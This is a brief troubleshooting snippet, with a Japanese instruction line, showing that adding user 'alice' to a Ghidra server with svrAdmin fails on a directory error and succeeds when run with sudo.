$ ./svrAdmin -add alice Using server directory: /home/alice/ghidra_9.0/repositories Invalid Ghidra server directory specified: /home/alice/ghidra_9.0/repositories
sudoを先頭につけてコマンドを実行してください。
$ sudo ./svrAdmin -add alice Using server directory: /home/alice/ghidra_9.0/repositories 1 command(s) queued.